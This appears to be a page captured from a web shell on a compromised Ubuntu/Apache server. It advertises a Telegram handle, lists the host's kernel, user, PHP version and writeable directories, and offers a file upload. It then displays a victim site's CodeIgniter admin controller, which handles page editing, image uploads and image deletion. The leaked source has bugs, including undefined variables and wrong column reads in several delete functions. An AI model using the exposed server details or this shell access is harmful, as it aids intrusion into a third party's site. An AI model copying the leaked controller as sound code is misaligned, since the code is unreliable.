https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/ptbos.biz/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/ptbos.biz/public_html/application/controllers/admin/Pages.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Pages extends Admin_Controller {

	//this property is used for validating existing page title on call back edit page
	private $page_current_id = NULL; 
		
	function __construct() {
		parent::__construct();	
		$this->load->model('page_m'); 
	}
		
	//this is to list all pages
	public function index() {
		$this->db->select('*');
		$this->db->from('configuration');
		$data['config'] = $this->db->get()->result();

		foreach ($data['config'] as $item) {
			$this->data_header['image'] = $item->logo;
			$this->data_header['icon'] = $item->website_icon;
		}
		//pagination in action. 20 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/pages/index';
		$config['per_page'] = 20;
		$config["uri_segment"] = 4; 

		//fetch all pages
		$config['total_rows'] = $this->page_m->record_count();  
		$this->pagination->initialize($config);
   		$this->data['pages'] = $this->page_m->get_all_pages($config["per_page"], 
		$this->uri->segment(4)); 

		//get parent pages only
   		$this->data['parent_pages'] = $this->page_m->get_all_parent_pages($config["per_page"], $this->uri->segment($config['uri_segment'])); 
		
		//load view
		$this->data['subview'] = 'admin/pages/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
    }
	
	//to add a new page 
	public function add() {
	
		$this->data['pages'] = $this->page_m->get_new();
		$this->data['parent_pages'] = $this->page_m->get_parent_pages();	 

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('pages')->where('parent', NULL);
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['pages']->priority = 1;	
		} else {
			$this->data['pages']->priority = $current_priority + 1;
		} 
		
		//validation in action
		//validation check in action
		$config = $this->page_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {
			
			if ($_FILES['userfile1']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000'; 

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile1')) {

					$this->session->set_flashdata('banner_error1', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				
				} else {
					$userfile1 = $this->upload->data();
					$image_filename1 = $userfile1['file_name'];  	 
				}
			}

			if ($_FILES['userfile2']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile2')) {

					$this->session->set_flashdata('banner_error2', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile2= $this->upload->data();
					$image_filename2 = $userfile2['file_name']; 	 
				}
			}

			if ($_FILES['userfile3']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile3')) {

					$this->session->set_flashdata('banner_error3', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile3= $this->upload->data();
					$image_filename3 = $userfile3['file_name']; 	 
				}
			}

			if ($_FILES['userfile4']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile4')) {

					$this->session->set_flashdata('banner_error4', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile4= $this->upload->data();
					$image_filename4 = $userfile4['file_name']; 	 
				}
			}

			if ($_FILES['userfile5']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile5')) {

					$this->session->set_flashdata('banner_error5', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile5= $this->upload->data();
					$image_filename5 = $userfile5['file_name']; 	 
				}
			}

			if ($_FILES['userfile6']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile6')) {

					$this->session->set_flashdata('banner_error6', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile6= $this->upload->data();
					$image_filename6 = $userfile6['file_name']; 	 
				}
			}

			if ($_FILES['userfile7']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile7')) {

					$this->session->set_flashdata('banner_error7', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile7= $this->upload->data();
					$image_filename7 = $userfile7['file_name']; 	 
				}
			}

			if ($_FILES['userfile8']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile8')) {

					$this->session->set_flashdata('banner_error8', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile8 = $this->upload->data();
					$image_filename8 = $userfile8['file_name']; 	 
				}
			}

			if ($_FILES['userfile9']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile9')) {

					$this->session->set_flashdata('banner_error9', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile9 = $this->upload->data();
					$image_filename9 = $userfile9['file_name']; 	 
				}
			}

			$data = $this->table_data_processing();

			//image upload
			if (isset($image_filename1)) {
				$data['image2'] = $image_filename;
			}

			if (isset($image_filename2)) {
				$data['image_about'] = $image_filename2;
			}

			if (isset($image_filename3)) {
				$data['image_about2'] = $image_filename3;
			}

			if (isset($image_filename4)) {
				$data['image_about3'] = $image_filename4;
			}

			if (isset($image_filename5)) {
				$data['image_about4'] = $image_filename5;
			}

			if (isset($image_filename6)) {
				$data['image_about5'] = $image_filename6;
			}

			if (isset($image_filename7)) {
				$data['image_about6'] = $image_filename7;
			}

			if (isset($image_filename8)) {
				$data['image_about7'] = $image_filename8;
			}

			if (isset($image_filename9)) {
				$data['image_about8'] = $image_filename9;
			}

			$this->page_m->add_page($data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Add Successful</p>');

			redirect('admin/pages');
			
		} 
		$this->db->select('*');
		$this->db->from('configuration');
		$data['config'] = $this->db->get()->result();

		foreach ($data['config'] as $item) {
			$this->data_header['image'] = $item->logo;
			$this->data_header['icon'] = $item->website_icon;
		}
		$this->data['subview'] = 'admin/pages/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	//to edit page in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$count = $this->page_m->count_exist($id);
		
		if ($count == 0) {
			//page not exist
			show_404();
		}		

		$this->data['pages'] = $this->page_m->get($id);
		$this->data['parent_pages'] = $this->page_m->get_parent_pages();
		$this->page_current_id = (int) $id;	
		
		//validation check in action 
		$config = $this->page_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {
			
			if ($_FILES['userfile1']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000'; 

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile1')) {

					$this->session->set_flashdata('banner_error1', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				
				} else {
					$userfile1 = $this->upload->data();
					$image_filename1 = $userfile1['file_name'];  	 
				}
			}

			if ($_FILES['userfile2']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile2')) {

					$this->session->set_flashdata('banner_error2', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile2= $this->upload->data();
					$image_filename2 = $userfile2['file_name']; 	 
				}
			}

			if ($_FILES['userfile3']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile3')) {

					$this->session->set_flashdata('banner_error3', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile3= $this->upload->data();
					$image_filename3 = $userfile3['file_name']; 	 
				}
			}

			if ($_FILES['userfile4']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile4')) {

					$this->session->set_flashdata('banner_error4', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile4= $this->upload->data();
					$image_filename4 = $userfile4['file_name']; 	 
				}
			}

			if ($_FILES['userfile5']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile5')) {

					$this->session->set_flashdata('banner_error5', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile5= $this->upload->data();
					$image_filename5 = $userfile5['file_name']; 	 
				}
			}

			if ($_FILES['userfile6']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile6')) {

					$this->session->set_flashdata('banner_error6', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile6= $this->upload->data();
					$image_filename6 = $userfile6['file_name']; 	 
				}
			}

			if ($_FILES['userfile7']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile7')) {

					$this->session->set_flashdata('banner_error7', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile7= $this->upload->data();
					$image_filename7 = $userfile7['file_name']; 	 
				}
			}

			if ($_FILES['userfile8']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile8')) {

					$this->session->set_flashdata('banner_error8', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile8 = $this->upload->data();
					$image_filename8 = $userfile8['file_name']; 	 
				}
			}

			if ($_FILES['userfile9']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpeg|jpg|png'; 
				$config['max_size']	= '1024';
				$config['max_width']  = '2000';
				$config['max_height']  = '2000';

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('userfile9')) {

					$this->session->set_flashdata('banner_error9', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					redirect('admin/pages/edit/' . $id);
				} else {
					$userfile9 = $this->upload->data();
					$image_filename9 = $userfile9['file_name']; 	 
				}
			}

			$data = $this->table_data_processing();

			//image upload
			if (isset($image_filename1)) {
				$data['image2'] = $image_filename1;
			}

			if (isset($image_filename2)) {
				$data['image_about'] = $image_filename2;
			}

			if (isset($image_filename3)) {
				$data['image_about2'] = $image_filename3;
			}

			if (isset($image_filename4)) {
				$data['image_about3'] = $image_filename4;
			}

			if (isset($image_filename5)) {
				$data['image_about4'] = $image_filename5;
			}

			if (isset($image_filename6)) {
				$data['image_about5'] = $image_filename6;
			}

			if (isset($image_filename7)) {
				$data['image_about6'] = $image_filename7;
			}

			if (isset($image_filename8)) {
				$data['image_about7'] = $image_filename8;
			}

			if (isset($image_filename9)) {
				$data['image_about8'] = $image_filename9;
			}

			$this->page_m->edit_page($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Edit Successful</p>');
			
			redirect('admin/pages/edit/' . $id);
			
		} 
		$this->db->select('*');
		$this->db->from('configuration');
		$data['config'] = $this->db->get()->result();

		foreach ($data['config'] as $item) {
			$this->data_header['image'] = $item->logo;
			$this->data_header['icon'] = $item->website_icon;
		}
		$this->data['subview'] = 'admin/pages/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	
	//to delete a page
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->page_m->count_exist($id);
		
		if ($count == 0) {  
			//page not exist  
			show_404();
		}		
		
		//delete page
		$this->page_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Delete Successful</p>');
		redirect('admin/pages');
	}


	//callback function validation add new pages
	public function _cek_existing_page_title($str) {

		$num_rows = $this->page_m->cek_existing_page_title($str, $this->page_current_id);   
		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_page_title', 'Page title indonesian already exist !'); 
			return FALSE;
		} else {
			return TRUE;     
		}
	}

	//callback function validation add new pages
	public function _cek_existing_page_en_title($str) {

		$num_rows = $this->page_m->cek_existing_page_en_title($str, $this->page_current_id);   
		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_page_en_title', 'Page title english already exist !'); 
			return FALSE;
		} else {
			return TRUE;     
		}
	}

	private function table_data_processing() {

		$data = array(
			'page_title' => $this->security->xss_clean($this->input->post('page_title')),
			'page_title_en' => $this->security->xss_clean($this->input->post('page_title_en')),
			'alias' => url_title($this->security->xss_clean($this->input->post('page_title'))),
			'alias_en' => url_title($this->security->xss_clean($this->input->post('page_title_en'))),
			'status' => $this->input->post('status'),
			'template' => $this->input->post('template'),
			'body_text' => $this->security->xss_clean($this->input->post('body_text')),
			'body_text_en' => $this->security->xss_clean($this->input->post('body_text_en')),
			'body_text2' => $this->security->xss_clean($this->input->post('body_text2')),
			'body_text2_en' =>$this->security->xss_clean($this->input->post('body_text2_en')),
			'body_text3' => $this->security->xss_clean($this->input->post('body_text3')),
			'body_text3_en' =>$this->security->xss_clean($this->input->post('body_text3_en')),
			'body_text4' => $this->security->xss_clean($this->input->post('body_text4')),
			'body_text4_en' =>$this->security->xss_clean($this->input->post('body_text4_en')),
			'body_text5' => $this->security->xss_clean($this->input->post('body_text5')),
			'body_text5_en' =>$this->security->xss_clean($this->input->post('body_text5_en')),
			'body_text6' => $this->security->xss_clean($this->input->post('body_text6')),
			'body_text6_en' =>$this->security->xss_clean($this->input->post('body_text6_en')),
			'body_text7' => $this->security->xss_clean($this->input->post('body_text7')),
			'body_text7_en' =>$this->security->xss_clean($this->input->post('body_text7_en')),
			'body_text8' => $this->security->xss_clean($this->input->post('body_text8')),
			'body_text9' => $this->security->xss_clean($this->input->post('body_text9')),
			'body_text10' => $this->security->xss_clean($this->input->post('body_text10')),
			'body_text11' => $this->security->xss_clean($this->input->post('body_text11')),
			'body_text12' => $this->security->xss_clean($this->input->post('body_text12')),
			'body_text13' => $this->security->xss_clean($this->input->post('body_text13')),
			'body_text14' => $this->security->xss_clean($this->input->post('body_text14')),
			'body_text15' => $this->security->xss_clean($this->input->post('body_text15')),
			'body_text16' => $this->security->xss_clean($this->input->post('body_text16')),
			'meta_description' => $this->security->xss_clean($this->input->post('meta_description')),
			'meta_keywords' => $this->security->xss_clean($this->input->post('meta_keywords')),
			'priority' => $this->security->xss_clean($this->input->post('priority')),
		);

		if ($this->input->post('parent_id') == 'no-parent') {
			$data['parent'] = NULL;
		} else {
			$data['parent'] = (int) $this->input->post('parent_id');
		}

		return $data;
	}

	//image upload processing
	private function image_processing($image_file_size) {

		//check & processing image banner upload files	
		if ($image_file_size !== 0) {  	

			$config['upload_path'] = './uploads/page/'; 
			$config['allowed_types'] = 'jpg|png'; 
			$config['max_size']	= '5000';
			$config['max_width']  = '5000';
			$config['max_height']  = '5000';
			
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload()) {

                //echo $this->upload->display_errors(); die();
					
				$this->session->set_flashdata('banner_error', '<br>
					<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

				if ($this->page_current_id != NULL) {
					redirect('admin/pages/edit/' . $this->page_current_id);
				} elseif($this->page_current_id == NULL) {
					redirect('admin/brands/add');
				}
			
			} else {
				$image = $this->upload->data();
				$image_filename = $image['file_name']; 	 
				return $image_filename; 
			}	
		}
	}

	//To delete brand landingpage banner image file from server, and from database
	public function delete_landingpage_image($id) { 

		//get image file name for deletion
		$this->db->select('image')->from('pages')->where('id_pages', $id);
		$image = $this->db->get()->row()->image;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}		

	public function delete_landingpage_image1($id) { 

		//get image file name for deletion
		$this->db->select('image2')->from('pages')->where('id_pages', $id);
		$image = $this->db->get()->row()->image2;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image);

		//Delete image field from database
		$data = array( 
			'image2' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}	

	public function delete_landingpage_image2($id) { 

		//get image file name for deletion
		$this->db->select('image_about')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}	

	public function delete_landingpage_image3($id) { 

		//get image file name for deletion
		$this->db->select('image_about2')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about2;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about2' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}

	public function delete_landingpage_image4($id) { 

		//get image file name for deletion
		$this->db->select('image_about3')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about2;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about3' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}

	public function delete_landingpage_image5($id) { 

		//get image file name for deletion
		$this->db->select('image_about4')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about2;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about4' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}

	public function delete_landingpage_image6($id) { 

		//get image file name for deletion
		$this->db->select('image_about5')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about2;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about5' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}

		public function delete_landingpage_image7($id) { 

		//get image file name for deletion
		$this->db->select('image_about6')->from('pages')->where('id_pages', $id);
		$image_about = $this->db->get()->row()->image_about6;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image_about);

		//Delete image field from database
		$data = array( 
			'image_about6' => '',
		);

		$this->db->where('id_pages', $id);
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}

}

https://t.me/RX1948 - 2025